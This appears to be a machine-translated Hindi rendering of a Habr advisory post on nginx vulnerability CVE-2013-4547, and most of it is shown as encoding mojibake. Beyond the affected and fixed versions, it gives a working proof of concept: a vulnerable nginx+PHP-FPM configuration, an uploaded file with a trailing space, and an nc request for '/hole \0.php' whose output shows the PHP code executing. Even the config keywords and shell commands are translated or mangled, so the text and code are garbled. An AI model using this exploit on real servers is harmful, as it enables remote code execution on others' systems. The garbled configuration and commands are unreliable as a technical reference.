рдирдЧреНрдиреЗрдХреНрд╕ рдореЗрдВ рдХрдордЬреЛрд░рддрд╛ - рдирдЧреНрдиреЗрдХреНрд╕ рд╕реБрд░рдХреНрд╖рд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ (CVE-2013-4547)

рдирдЧрдиреЗрдХреНрд╕ рдореЗрдВ рдПрдХ рднреЗрджреНрдпрддрд╛ рдХреА рдЦреЛрдЬ рдХреА рдЧрдИ рд╣реИ (рдФрд░ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рддрдп рд╣реИ)ред
рдпрд╣рд╛рдБ рд╡рд┐рд╡рд░рдг: mailman.nginx.org/pipermail/nginx-ru/2013-Nvent/052575.html

рдирдЧреНрдиреЗрдХреНрд╕ 0.8.41 - 1.5.6 рдХреЗ рд╕рдВрд╕реНрдХрд░рдг рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реИрдВред
рд╕рдорд╕реНрдпрд╛ nginx 1.5.7, 1.4.4 рдореЗрдВ рддрдп рдХреА рдЧрдИ рд╣реИред
рдХрд╕реНрдЯрдо рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП рдПрдХ рдкреИрдЪ рдЙрдкрд▓рдмреНрдз рд╣реИ - nginx.org/download/patch.2013.space.txt

рдпрд╣ рд╣рд┐рд╕реНрд╕рд╛ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ:
рд╕рд╛рде рд╣реА рдлреЙрд░реНрдо рдХреЗ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ рдЕрдВрдд рдореЗрдВ рдПрдХ рд╕реНрдерд╛рди рдХреЗ рд╕рд╛рде рд╡рд┐рд╢реЗрд╖ рдлрд╝рд╛рдЗрд▓ рдкреНрд░рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛
рд╕реНрдерд╛рди ~ \ .php $ {
fastcgi_pass ...
}

рдлрд╝рд╛рдЗрд▓ рдХреЛ "/ рдлрд╝рд╛рдЗрд▓ \ 0.php" рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдиреБрд░реЛрдз рдХрд░рдирд╛ред


рд▓реЛрдХрдкреНрд░рд┐рдп nginx + php рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдореЗрдВ, рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:
* рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдВрдд рдореЗрдВ рдПрдХ рд╕реНрдерд╛рди рдХреЗ рд╕рд╛рде рд╕рд░реНрд╡рд░ рдкрд░ рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░рддрд╛ рд╣реИ
* рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд░рдЪрд┐рдд рдЕрдиреБрд░реЛрдз рджреНрд╡рд╛рд░рд╛ рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

Nginx + php5-fpm рдХреЗ рд▓рд┐рдП, рднреЗрджреНрдпрддрд╛ рдХреЗ рджреЛрд╣рди рдХреЗ рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢рд░реНрддреЗрдВ рдкреВрд░реА рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП:
1) fastcgi_param PATH_TRANSLATED рдлреЙрд░реНрдо $ рдбреЙрдХреНрдпреБрдореЗрдВрдЯ_root / $ fastcgi_script_name, рдпрд╛рдиреА рдХрд╛ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдорд╛рди рдЕрдиреБрд░реЛрдз рд╕реЗ рд▓рд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ
2) fpm рдкреВрд▓ рдХреЙрдиреНрдлрд┐рдЧрд░реЗрд╢рди рдореЗрдВ, value ecurity.limit_extensions рдХреЛ рдХрд┐рд╕реА рднреА рдлрд╛рдЗрд▓ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдПред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ .php .php3 .php4 .php5 рдкрд░ рд╕реЗрдЯ рд╣реИ

рдСрдкрд░реЗрд╢рди рдХрд╛ рдЙрджрд╛рд╣рд░рдг:
        рд╕рд░реНрд╡рд░ {
		 рд╕реБрдиреЛ *: 80;
		 server_name example.com;

		 access_log ...;
		 error_log ...;

		 рд░реВрдЯ / var / www / рдЧрд░реНрдо;
		
		 рд╕реНрдерд╛рди ~ \ .php $ {
			 рд╢рд╛рдорд┐рд▓ / рдЖрджрд┐ / nginx / fastcgi_params;
			 fastcgi_param PATH_TRANSLated $ document_root / $ fastcgi_script_name;
			 fastcgi_param SCRIPT_FILENAME $ document_root / $ fastcgi_script_name;
			 fastcgi_pass рдкрд╛рд╕;
		 }

                 рд╕реНрдерд╛рди / css / {}
                 рд╕реНрдерд╛рди / js / {}
                 рд╕реНрдерд╛рди / img / {}

	 }




 рдмрд┐рд▓реНрд▓реА "/ var / www / рдЧрд░реНрдо / рдЫреЗрдж" 
 <? php 
 рдЧреВрдВрдЬ "рдореИрдВ рдЫреЗрдж рд╣реВрдБ";
 ?>




рдФрд░ рдЕрдВрдд рдореЗрдВ рдЦреБрдж рд╣реА рдирд┐рд╡реЗрджрди рдХрд░реЗрдВ:

 echo -e "GET / hole \ 0.php HTTP / 1.1 \ r \ nHost: example.com \ r \ n \ r \ n" |  nc -w 1 example.com 80
 HTTP / 1.1 200 рдареАрдХ рд╣реИ
 рд╕рд░реНрд╡рд░: nginx / 1.4.1
 рджрд┐рдирд╛рдВрдХ: рдордВрдЧрд▓, рез реп рдирд╡рдВрдмрд░ реирежрезрей 15:31:51 GMT
 рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░: рдкрд╛рда / html
 рд╕реНрдерд╛рдирд╛рдВрддрд░рдг-рдПрдиреНрдХреЛрдбрд┐рдВрдЧ: chunked
 рдХрдиреЗрдХреНрд╢рди: рдЬреАрд╡рд┐рдд рд░рдЦреЗрдВ
 X-Powered-by: PHP / 5.4.19-1 ~ dotdeb.1

 9
 рдореИрдВ рдЫреЗрдж рд╣реВрдБ
 0


Source: https://habr.com/ru/post/In202796/


All Articles